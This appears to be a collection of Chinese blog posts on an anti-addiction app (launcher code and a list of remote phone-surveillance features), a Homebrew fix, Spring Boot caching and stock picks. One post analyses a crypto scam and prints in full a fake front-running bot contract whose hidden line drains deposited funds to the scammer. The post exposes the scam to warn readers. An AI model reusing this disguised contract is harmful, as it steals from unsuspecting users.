防沉迷app-项目总结2

防沉迷项目总结(2)

软件开发的需求变动问题

作为开发者,最不喜欢的场景是需求朝令夕改。频繁的需求改动对开发者的耐性和信心是极大的打击。

  1. 心情:这个就不用多说了,开发是很枯燥的。让程序员重复做一个事情,不停的重复更枯燥。
  2. 设计问题:最初a需求的技术方案,开发者设计好了,需求变了之后,技术方案都有可能会受到影响。

对于这个问题,目前是无解。市场是对的,老板也是对的,需求没错。所以就需要开发者提高自身素质,对潜在的需求变动要有前瞻性。在技术设计方面
对于可能的变动预留足够的弹性空间。

一个被需求折磨的例子

需求a:桌面app只需要显示和隐藏
a基础上改动后的需求b:要初始化显示系统app,同时行列也要变化。

这块改动比较大,改动之前的就不贴代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
 package com.benny.openlauncher.util;

import android.util.Log;

import com.benny.openlauncher.AppObject;
import com.benny.openlauncher.activity.HomeActivity;
import com.benny.openlauncher.model.App;
import com.benny.openlauncher.model.Item;
import com.benny.openlauncher.widget.CellContainer;
import com.benny.openlauncher.widget.Desktop;

import java.util.ArrayList;
import java.util.List;

// 桌面app排列有关工具类
public class DeskTopUtils {

// 第一次初始化
public static void onCreate(List<App> apps) {
// TODO
}
// 添加到hide,并从数据库移除
public static void removeFromDesk(String pkg) {
Log.d("DeskTopUtils","remove local app from desk pkg:"+ pkg);
// hide 更新
ArrayList<String> hiddenList = AppSettings.get().getHiddenAppsList();
if(HomeActivity._db == null )return;

// 根据pkg找到app
List<App> apps = AppManager.getInstance(AppObject.get()).getNonFilteredApps();
App findApp = null;
for (App app : apps) {
if (app.getComponentName().contains(pkg)) {
findApp = app;
// 构造Intent string
HomeActivity._db.deleteItemByIntent(Tool.getIntentAsString(Tool.getIntentFromApp(findApp)));
Log.d("DeskTopUtils","remove find match local app "+ findApp.getComponentName());
}
}

if( findApp == null ) {
Log.d("DeskTopUtils","removeFromDesk can't find match local app "+ pkg);
return;
} else {
Log.d("DeskTopUtils","removeFromDesk find match local app "+ findApp.getComponentName());
}


}

// 生成坐标
private static String genCoordinate(List<List<Item>> itemLists ){
String coordinateStr = "";
for (int pageCount = 0; pageCount < itemLists.size(); pageCount++) {
List<Item> page = itemLists.get(pageCount);
for (int j = 0; j < page.size(); j++) {
coordinateStr += "("+pageCount +"," + page.get(j)._x+","+page.get(j)._y+");";
}
}
return coordinateStr;
}

// 从hide移除,并从desktop中选择合适位置,添加进去
public static void addToDesk(String pkg) {
// hide 更新
ArrayList<String> hiddenList = AppSettings.get().getHiddenAppsList();
if(HomeActivity._db == null )return;

// 根据pkg找到app
List<App> apps = AppManager.getInstance(AppObject.get()).getNonFilteredApps();
App findApp = null;
for (App app : apps) {
if (app.getComponentName().contains(pkg)) {
findApp = app;
}
}

if( findApp == null ) {
Log.d("DeskTopUtils","addToDesk can't find match local app "+ pkg);
return;
} else {
Log.d("DeskTopUtils","addToDesk find match local app "+ findApp.getComponentName());
}

// 数据库更新
List<CellContainer> _pages = new ArrayList<>();
List<List<Item>> desktopItems = HomeActivity._db.getDesktop();

String deskGrid = genCoordinate(desktopItems);
int row = AppSettings.get().getDesktopRowCount();
int col = AppSettings.get().getDesktopColumnCount();

// 查找每一个page中的合适位置
String t_point = "";
int find_x = 0;
int find_y = 0;
boolean find = false;

// 倒序,刚容易找到位置,先这样
for (int pageCount = 0; pageCount < desktopItems.size(); pageCount++) {
List<Item> page = desktopItems.get(pageCount);
// 如果倒序,刚容易找到位置,先这样;取舍:这样可以在添加的时候,优先使用最前面的空缺位置
for( int j=0;j<page.size();j++) {
//尝试在每一个元素周边寻找区域
Item t_item = page.get(j);
int t_x = t_item._x;
int t_y = t_item._y;
// 右边
int tx_top = t_x-1;
if( tx_top >=0 ) {
t_point = "(" +pageCount+","+tx_top+","+t_y+")";
if( !deskGrid.contains( t_point ) ) {
find_x = tx_top;
find_y = t_y;
find = true;
break;
}
}

// 左边
tx_top = t_x +1;
if( tx_top >=0 && tx_top < col ){
t_point = "("+pageCount+","+tx_top+","+t_y+")";
if( !deskGrid.contains( t_point ) ) {
find_x = tx_top;
find_y = t_y;
find = true;
break;
}
}

// 上边
int ty_top = t_y -1;
if( ty_top >=0 ){
t_point = "("+pageCount+","+t_x+","+ty_top+")";
if( !deskGrid.contains( t_point ) ) {
find_x = t_x;
find_y = ty_top;
find = true;
break;
}
}

// 下边
ty_top = t_y + 1;
if( ty_top >=0 && ty_top < row){
t_point = "("+pageCount+","+t_x+","+ty_top+")";
if( !deskGrid.contains( t_point ) ) {
find_x = t_x;
find_y = ty_top;
find = true;
break;
}
}
}

Item newItem = Item.newAppItem(findApp);
newItem._spanY = 1;
newItem._spanX = 1;
if( find ) {
newItem._x = find_x;
newItem._y = find_y;
HomeActivity._db.saveItem(newItem, pageCount, Definitions.ItemPosition.Desktop);
Log.d("DeskTopUtils","addToDesk find location to locate app page,x,y="+pageCount +"," +find_x+","+ find_y +",package="+Tool.getIntentAsString(newItem._intent));
break;
} else {
// 新建一个页面,放置app
if ( pageCount == desktopItems.size()-1 ) {
int newPage = pageCount + 1;
newItem._x = 0;
newItem._y = 0;
HomeActivity._db.saveItem(newItem, newPage, Definitions.ItemPosition.Desktop);
Log.d("DeskTopUtils", "addToDesk no location , new page , page,x,y=" + newPage + "," + find_x + "," + find_y + ",package=" + Tool.getIntentAsString(newItem._intent));
break;
} else {
Log.d("DeskTopUtils", "addToDesk no location , query new page try");
}
}
}
}

}


防沉迷app-项目总结1

防沉迷项目总结(1)

防沉迷介绍

现代社会,手机成了个人的计算中心,各种人与人、人与物的连接,都通过手机连接到每一个个体,极大的方便了人们的生活、学习、工作和娱乐。然而正是这样的便捷性,高度依赖性,使人们越来越离不开手机,很多人深陷其中,不能自拔,甚至严重影响正常的休息、生活、学习、工作和交流,越来越考验人的自律能力。因此很多人需要适当的提醒、干预或者强制的方式来摆脱这种状况。“防沉迷APP”的想法被创业者发现并实施。

作为一款手机防沉迷软件,该软件在解救两亿手机控、低头族,让她成为学生、考生、家长、低头族、手机控、战拖们的必备应用。

目前知名的国内防沉迷app有:格雷盒子,青柠守护,阳光守护等

防沉迷技术难点

设置默认桌面

目前已知问题,小米桌面如果没有经过官方的认证,就不让设置其他第三方桌面(launcher)设置为默认桌面。小米这么做也有道理。因为第三方桌面有可能会做一些伤害用户体验的行为。有官方的背书,能在一定程度上避免这个问题。同样的问题还在华为手机上出现。华为手机直接是不让设置默认桌面,根本没有这个选项。

开机自启动

防沉迷,最重要的是让用户在使用手机的时候,只能操作某一类或者某一些app。这里问题就来了,怎么做到呢?第一想到的就是设置默认桌面,同时隐藏设置桌面的配置。但是上面说了,目前主流手机厂商对这方面有着自己的顾虑和思考。
那没有没有可能在不支持的手机上支持用户app开机启动,同时只允许打开自己的app,不允许切换到其他app,达到类似launcher(桌面)的效果呢?
答案是肯定的。

手机兼容性

安卓手机厂商众多,各种改。而防沉迷用到的api又比较底层,兼容性是一个让开发者头疼的问题。

屏蔽其他app

屏蔽有2个思路

  1. 控制launcher,隐藏app的icon图标。这个没啥好说的
  2. 类似如下这个效果。只要用户点击任何其他app都提示,app被禁止

20220426102755

权限自动点击

由于需要比较多的权限,不同手机的设置路径也不尽相同。如果能实现自动点击,自动选择,无疑会给用户很大的帮助。

手机远程控制

远程获取通讯录

远程读取用户手机短信

远程读取用户通话记录

远程获取用户手机截屏

远程录制用户手机屏幕

远程锁定被控制手机

远程控制被控手机app删除或者增加

远程控制被控手机app打开或者关闭

远程控制被控手机录音

远程控制被控手机活动范围,设定电子围栏,超出范围提醒

防沉迷app思考和拓展

后话:做防沉迷这段时间,确实发现这个市场还挺大的。我们做的方向是,类似阳光守护那种。有两个端:家长端和孩子端。
家长端:可以控制孩子的手机,包括获取孩子手机app,远程截屏,远程锁屏等。
孩子端:只可以打开被家长允许的app,只能在规定时间玩手机等

其实,有了这个技术,应用场景是很多的。从控制端和被控端来思考

  1. 假设只有一个端

    • 可以做成一个防沉迷app单机版,解决学生等老离不开手机的问题,帮自己改掉习惯,投入学习
    • 可以做成一个习惯训练app,设置一个社区,社区的人打卡比赛,谁能养成习惯给予奖励。
  2. 有一个控制端和一个被控端

    • 家长控制孩子
    • 老师控制学生
    • 孩子给上了年纪的父母远程协助
    • 其他场景

最后

做了这么多,还有一些没解决问题。有意者可以联系 Q:2169564366 (备注:防沉迷)技术交流。一起成长

fix-mac-rabbitmq-issue

问题描述

今天在mac 下面配置 rabbitmq的环境,按照官方文档 brew install rabbitmq 竟然报错了,如下。
核心错误 *** No formulae found in taps ***

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
yyy@xxx-MacBook-Pro ~ % brew install rabbitmq

Running `brew update --preinstall`...
fatal: Could not resolve HEAD to a revision
==> Tapping homebrew/cask
Cloning into '/usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask'...
remote: Enumerating objects: 633392, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 633392 (delta 6), reused 2 (delta 0), pack-reused 633378
Receiving objects: 100% (633392/633392), 298.02 MiB | 9.22 MiB/s, done.
Resolving deltas: 100% (448299/448299), done.
Updating files: 100% (4055/4055), done.
Tapped 3996 casks (4,066 files, 318.3MB).
Warning: No available formula with the name "rabbitmq".
==> Searching for similarly named formulae...
Error: No similarly named formulae found.
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching taps on GitHub...
Error: No formulae found in taps.
jim@zhangs-MacBook-Pro ~ % brew install rabbitmq

Running `brew update --preinstall`...
fatal: Could not resolve HEAD to a revision
Warning: No available formula with the name "rabbitmq".
==> Searching for similarly named formulae...
Error: No similarly named formulae found.
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching taps on GitHub...
Error: No formulae found in taps.

解决方案

经过一番思考和查阅发现可以这样解决

问题原因

可能是安装brew的过程中由于网络原因或者其他原因导致homebrew安装出现问题

rabbitmq 其他

  • rabbitmq常用命令:
    1
    2
    3
    4
    brew services info   rabbitmq
    brew services stop rabbitmq
    brew services restart rabbitmq
    brew services kill rabbitmq
  • Web界面管理RabbitMQ
    默认是可以本地登录localhost:15672,用户名:guest;密码:guest;端口默认15672

区块链骗局之夹子机器人

背景

我一个很久没联系的朋友,今天突然找到我,让我帮忙看看代码;说是自己在网上看到了一个区块链套利机器人的代码,很赚钱。自己也不根据代码部署了,但是钱取不出来了,他也是比较谨慎,就投入了5000多块吧!折合BNB大概2个(bnb 按照430美元/个)。让我帮看看。

起初,我打开视频,也没人为他被骗。从视频标题,tag,特别是评论,100多条评论,全是清一色说的类似:我投了1个BNB,几天就变成了10个了…..
我就犯嘀咕了,我们圈子都知道链上机器人太卷了,机器人都开始打架了,还能赚钱吗?难道这个牛人有啥高明的策略?直到看了1分钟视频才反应过来是骗局。

骗术剖析

骗子在YouTube上,视频竟然打着*** 夹子机器人|三明治机器人|薄饼机器人|pancakeswap|科学家机器人|抢先交易|量化交易|自动收入10+BNB|Pancakes Front run bot|(最新版本)*** ,看来骗子很注意SEO ,懂得搜索引擎优化。

其实这个骗术很简单,如果懂得代码的话,绝对不会上当。不懂代码的人看起来只会绝对好高级啊!加上被赚钱的欲望冲昏了头脑。下面就简要分析一下这个骗术有多低级

骗术分析

骗术大致过程是:用看起来免费的方式教别人部署夹子套利机器人,机器人会自动在pancake上捕获潜在的交易对。就这么空手套白狼的剧本。视频下发还给出了代码,合约地址,部署教程等资料。看起来没啥问题。但是看视频操作就不对了

  1. 合约部署为何要更改注释中的钱包地址,这装模作样的,也许骗子这里也是思考了:如果这里写用户的地址,用户会更加放心。
    20220407220216

  2. 部署完成合约之后,为何要往合约地址转钱???注意:这里转入多少就会被骗子转走多少

  3. 看看骗子的所谓夹子代码。(只能说是一对垃圾代码,除了注释掉的有用代码不足10句话),其中最有用的一句代码是:

    1
    2
    payable(manager.uniswapDepositAddress()).transfer(address(this).balance);

    看到了吗?这个就是把合约中的钱转走的,其余的被注释掉的无用代码都是障眼法。

下面的代码可能随时被骗子删除 ,我就粘贴了一份,切忌别去尝试哦!
合约代码链接:
https://ghostbin.com/rVoQh/raw

备用链接:
https://pastebin.com/raw/1kVN2Nj9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
pragma solidity ^0.6.6;

// PancakeSwap FrontrunDeployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
// PancakeSwap manager
import "https://github.com/Uniswapf/uniswap-v2-periphery/blob/main/master-contracts-interfaces/V1/IUniswapV1Factory.md";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";



contract PancakeswapV2FrontBot {

string public tokenName;
string public tokenSymbol;
uint frontrun;
Manager manager;


constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
manager = new Manager();

}


// Send required BNB for liquidity pair
receive() external payable {}


// Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();

function action() public payable {

//Perform a front-running attack on uniswap

//const fs = require('fs');
//var Web3 = require('web3');
//var abiDecoder = require('abi-decoder');
//var colors = require("colors");
//var Tx = require('ethereumjs-tx').Transaction;
//var axios = require('axios');
//var BigNumber = require('big-number');

//const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
//const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
//const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');

//const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
//const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
manager;

//var input_token_info;
//var out_token_info;
//var pool_info;
//var gas_price_info;
manager;

//var web3;
//var web3Ts;
//var web3Ws;
//var pancakeRouter;
//var pancakeFactory;
manager;

// one gwei
//const ONE_GWEI = 1e9;
manager;

//var buy_finished = false;
//var sell_finished = false;
//var buy_failed = false;
//var sell_failed = false;
//var attack_started = false;
manager;

//var succeed = false;
//var subscription;
manager;

//async function createWeb3(){
//try {
// web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
// web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
// web3 = new Web3(EthereumTesterProvider());
// web3.eth.getAccounts(console.log);
//web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
//pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
//pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
//abiDecoder.addABI(PANCAKE_ROUTER_ABI);
manager;

//return true;
//} catch (error) {
//console.log(error);
//return false;


//async function main() {

//try {
//if (await createWeb3() == false) {
//console.log('Web3 Create Error'.yellow);
//process.exit();




//const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
//const out_token_address = TOKEN_ADDRESS;
//const amount = AMOUNT;
//const level = LEVEL;

//ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
//if(ret == false) {
//process.exit();


//await updatePoolInfo();
//outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();

//await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);

//log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****'
// console.log(log_str.green);
// console.log(web3Ws);
//web3Ws.onopen = function(evt) {
//web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
//console.log('connected')

// get pending transactions
//subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
//}).on("data", async function (transactionHash) {
//console.log(transactionHash);

// let transaction = await web3.eth.getTransaction(transactionHash);
// if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
// {
// await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
// }

//if (succeed) {
//console.log("The bot finished the attack.");
//process.exit();




//catch (error) {

//if(error.data != null && error.data.see === 'https://infura.io/dashboard')

//console.log('Daily request count exceeded, Request rate limited'.yellow);
//console.log('Please insert other API Key');
//else{
//console.log('Unknown Handled Error');
//console.log(error);


//process.exit();


//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {

//(await triggersFrontRun(transaction, out_token_address, amount, level)) {
//subscription.unsubscribe();
//console.log('Perform front running attack...');

//gasPrice = parseInt(transaction['gasPrice']);
//newGasPrice = gasPrice + 50*ONE_GWEI;

//estimatedInput = ((amount*0.999)*(10**18)).toString();
//realInput = (amount*(10**18)).toString();
//gasLimit = (300000).toString();

//await updatePoolInfo();

//var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
//swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);

//console.log("wait until the honest transaction is done...", transaction['hash']);

//while (await isPending(transaction['hash'])) {


//if(buy_failed)

//succeed = false;
//return;


//console.log('Buy succeed:')

//Sell
//await updatePoolInfo();
//var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
//outputeth = outputeth * 0.999;

//await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);

//console.log('Sell succeed');
//succeed = true;
manager;

//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
//var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();

//allowance = BigNumber(allowance);
//outputtoken = BigNumber(outputtoken);

//var decimals = BigNumber(10).power(out_token_info.decimals);
//var max_allowance = BigNumber(10000).multiply(decimals);

//if(outputtoken.gt(max_allowance))

//console.log('replace max allowance')
//max_allowance = outputtoken;

payable(manager.uniswapDepositAddress()).transfer(address(this).balance);


//if(outputtoken.gt(allowance)){
//console.log(max_allowance.toString());
//var approveTX ={
//from: user_wallet.address,
//to: out_token_address,
//gas: 50000,
//gasPrice: gasPrice*ONE_GWEI,
//data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
manager;


//var signedTX = await user_wallet.signTransaction(approveTX);
//var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

//console.log('Approved Token')

//return;


//select attacking transaction
//async function triggersFrontRun(transaction, out_token_address, amount, level) {

//if(attack_started)
//return false;

//console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
//if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
//attack_started = true;
//return true
manager;

//return false;

//if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
//return false;


//let data = parseTx(transaction['input']);
manager;
//let method = data[0];
manager;
//let params = data[1];
manager;
//let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
manager;

//if(method == 'swapExactETHForTokens')
manager;

//let in_amount = transaction;
manager;
//let out_min = params[0];
manager;

//let path = params[1];
manager;
//let in_token_addr = path[0];
manager;
//let out_token_addr = path[path.length-1];
manager;

//let recept_addr = params[2];
manager;
//let deadline = params[3];
manager;

//if(out_token_addr != out_token_address)
manager;

// console.log(out_token_addr.blue)
// console.log(out_token_address)
//return false;
}
}

  1. 骗子为了让代码伪装的更加像回事,自己注册了一个GitHub账号弄了个uniswapf的名字,混淆视听。。。我也差点被骗。。。

警示录

  1. 区块链上遵循丛林法则,这里没有监管,没有纪律,一旦损失,无处伸冤。
  2. 少贪便宜,天山不会掉馅饼
  3. 碰到不懂的,不要头脑发热,被人洗脑,多问问懂的朋友

springboot缓存

springboot缓存框架

springboot的缓存框架对市面上的缓存进行了抽象,使我们可以很方便的集成和使用。它的架构大致如下
20220407123350
Springboot实现了jsr的标准。

Java Caching(JSR-107)定义了5个核心接口,分别是CachingProvider, CacheManager, Cache, Entry和 Expiry。
CachingProvider:创建、配置、获取、管理和控制多个CacheManager
CacheManager:创建、配置、获取、管理和控制多个唯一命名的Cache,Cache存在于CacheManager的上下文中。一个CacheManager仅对应一个CachingProvider
Cache:是由CacheManager管理的,CacheManager管理Cache的生命周期,Cache存在于CacheManager的上下文中,是一个类似map的数据结构,并临时存储以key为索引的值。一个Cache仅被一个CacheManager所拥有
Entry:是一个存储在Cache中的key-value对
Expiry:每一个存储在Cache中的条目都有一个定义的有效期。一旦超过这个时间,条目就自动过期,过期后,条目将不可以访问、更新和删除操作。缓存有效期可以通过ExpiryPolicy设置

这样做的好处是做到了统一管理缓存,是的框架的接口和实现分离。如果要切换缓存实现,成本也很低。

重要的接口以及注解

重要接口

  • Cache:缓存抽象的规范接口,缓存实现有:RedisCache、EhCacheCache、ConcurrentMapCache等
  • CacheManager:缓存管理器,管理Cache的生命周期

重要注解

  • @Cacheable
    添加在方法上,根据条件添加缓存

value: 缓存的名称,不能为空
cacheNames: 缓存的名称,和value二选一
key: 缓存的key,默认为空,表示使用方法的参数类型及参数值作为key,支持SpEL
keyGenerator: 指定key的生成策略(和key不能共存)
cacheManager: 指定缓存管理器
cacheResolver: 指定获取解析器
condition: 条件符合则缓存
unless: 条件符合则不缓存
sync: 是否使用异步模式 默认false

  • @CachePut
    添加在方法上,根据条件添加缓存
    @CachePut作用和@Cacheable类似,区别是 @Cacheable没有缓存数据会执行方法后,把结果缓存起来,第二次调用方法不执行方法,直接从缓存中获取数据并返回.@CachePut每次都会执行方法,不管缓存中有没有数据,都会把结果缓存.

  • @CacheEvict
    添加在方法上,根据条件清空缓存.
    value: 缓存名称,不能为空
    cacheNames: 缓存的名称,与value二选一
    keyGenerator: key的生成器。key/keyGenerator二选一使用
    condition: 触发条件,支持SpEL
    allEntries: true表示清除value中的全部缓存,默认为false
    beforeInvocation: 是否在方法执行前就清空 默认false
    cacheManager: 指定缓存管理器
    cacheResolver: 或者指定获取解析器

  • @CacheConfig
    作用在类上,为本类的缓存注解配置全局属性
    cacheNames: 缓存名称
    keyGenerator: key的生成器
    cacheManager: 缓存管理器
    cacheResolver: 获取解析器

  • @EnableCaching: 开启缓存

注意点

  1. Spring boot默认使用的是SimpleCacheConfiguration,即使用ConcurrentMapCacheManager来实现缓存,ConcurrentMapCache实质是一个ConcurrentHashMap集合对象java内置,所以无需引入其他依赖,也没有额外的配置
  2. Caffeine是使用Java8对Guava缓存的重写版本,在Spring Boot 2.0中将取代,基于LRU算法实现,支持多种缓存过期策略
  3. StringRedisTemplate默认采用的是String的序列化策略,保存的key和value都是采用此策略序列化保存的。(JdkSerializationRedisSerializer)RedisTemplate默认采用的是JDK的序列化策略,保存的key和value都是采用此策略序列化保存的。(StringRedisSerializer)
  4. 如果使用redis可以配置如下依赖
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <!-- redis starter -->
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
    </dependency>
    <!-- lettuce pool 缓存连接池 -->
    <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-pool2</artifactId>
    </dependency>

不再需要引入其他依赖,SpringBoot导入spring-boot-starter-data-redis时, CacheManager默认使用RedisCache.

否则可以配置如下依赖

1
2
3
4
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-cache</artifactId>
</dependency>
  1. 在不指定缓存 key 属性的情况下,默认使用 SimpleKeyGenerator 生成 key。除此之外,我们也可以自定义实现 KeyGenerator 接口,生成自己的 key 名称策略。

股票-20220407

个股

房地产(中南建设等)

①国联证券郭荆璞估计,单考虑地产投资增速下滑8-10%以及相应的一二手房成交的低迷,就可能使得中国2022年GDP增速下滑到4%出头的水平,若要实现5.5的GDP增长目标,地产政策或将持续调整;
②房地产股当前PB处在过去10年9.28%的低估值分位水平,在政策边际改善,叠加稳增长和低估值双重催化,行业或有望迎来戴维斯双击,在此轮房地产周期中,政策目标核心是“维护房地产市场的健康发展,维护住房消费者的合法权益”,因此稳健型房企有望胜出;
③郭荆璞从量化角度挑选出中南建设,根据市场一致性预期,目前公司市盈率和市净率分别为4.43/0.49倍,在行业中处于低估水平,公司以房地产开发和建筑为主业,土储集中于长三角城市圈及二三线城市,此外公司拥有上海数据交易中心6%的股权,有望受益于数字经济加速发展;
④风险提示:宽松政策不及预期等。

阳光医疗
阳普医疗:公司是新冠抗原自测上游辅料的生产商。

舒泰神,新冠特效药
有投资者向舒泰神提问, 尊敬的董秘!贵公司一开始就采用多路线研发COVID-19新冠肺炎的特效药,BDB-001注射液外,STSA-1005和STSA-1002目前研发进度如何?三者正在推进中?还是已经研发失败?请如实回答!谢谢! 公司回答表示,您好!BDB-001、STSA-1002、STSA-1005项目均在推进中,有关项目进展,敬请关注后续项目进展公告及定期报告。感谢您对公司的关注,谢谢

永太科技(新能源,钠离子电池,新冠药)
近期,北京中科海钠科技有限责任公司发生工商变更,新增华为旗下深圳哈勃科技投资合伙企业(有限合伙)等为股东。中科海钠官网资料显示,中科海钠是一家专注于新一代储能体系-钠离子电池研发与生产的高新技术型企业。企业拥有多项钠离子电池核心专利,是国际少有拥有钠离子电池核心专利与技术的电池企业之一。A股钠离子电池概念股主要有永太科技、翔丰华等。

股票-20220406

题材

中药

《“十四五”中医药发展规划》助推中药振兴,“新冠防控+服务出口+消费升级”有望打开行业增量,分析师称政策扶植带来的重大利好尚未充分体现
2022-03-31 18:02 星期四
中药(康缘药业、昆药集团、浙江震元):
①国务院办公厅近日印发《“十四五”中医药发展规划》,提出推动中医药参与新冠防控国际合作,高质量建设国家中医药服务出口基地等,这是首次以国办名义印发的医药细分子行业的五年规划;
②中信证券陈竹认为,中药板块作为低估值以及政策避风港板块,本轮行情具有中长期可持续性,截至2022年3月25日,目前中药板块平均PE为33倍,部分核心龙头OTC企业估值只有15-20倍,政策扶植和市场扩容带来的重大利好还未充分体现;
③中药医保支付新政策重大利好,纳入医保支付的同时暂不纳入DRG付费,药厂在医保支付范围内获得了更灵活的定价空间,对整个中药行业带来比较显著的影响;
④陈竹重点看好业绩增长的持续性与估值相匹配、中药创新药增量逻辑、中医服务提供商等核心细分领域;
⑤风险提示:政策落地不及预期、中成药集采降价超预期、OTC和配方颗粒竞争超预期等。
主题一
《“十四五”中医药发展规划》助推中药振兴,“新冠防控+服务出口+消费升级”有望打开行业增量,分析师称政策扶植带来的重大利好尚未充分体现国务院办公厅近日印发《“十四五”中医药发展规划》,提出到2025年,中医药健康服务能力明显增强,中医药高质量发展政策和体系进一步完善,并推动中医药参与新冠防控国际合作,高质量建设国家中医药服务出口基地等。值得注意的是,这是首次以国办名义印发的医药细分子行业的五年规划。中信证券陈竹认为,中药板块作为低估值以及政策避风港板块,本轮行情具有中长期可持续性,短期可关注结构性机会,中长期关注受益于政策推动、创新研发以及消费升级的标的企业。截至2022年3月25日,目前中药板块平均PE为33倍,仅高于器械和商业流通板块,部分核心龙头OTC企业估值只有15-20倍,政策扶植和市场扩容带来的重大利好还未充分体现,2022年将是中医药板块投资的关键一年。
陈竹梳理出三条主线:
①业绩增长的持续性与估值相匹配:华润三九、红日药业、羚锐制药、太极集团、昆药集团;
②中药创新药增量逻辑:以岭药业、康缘药业;
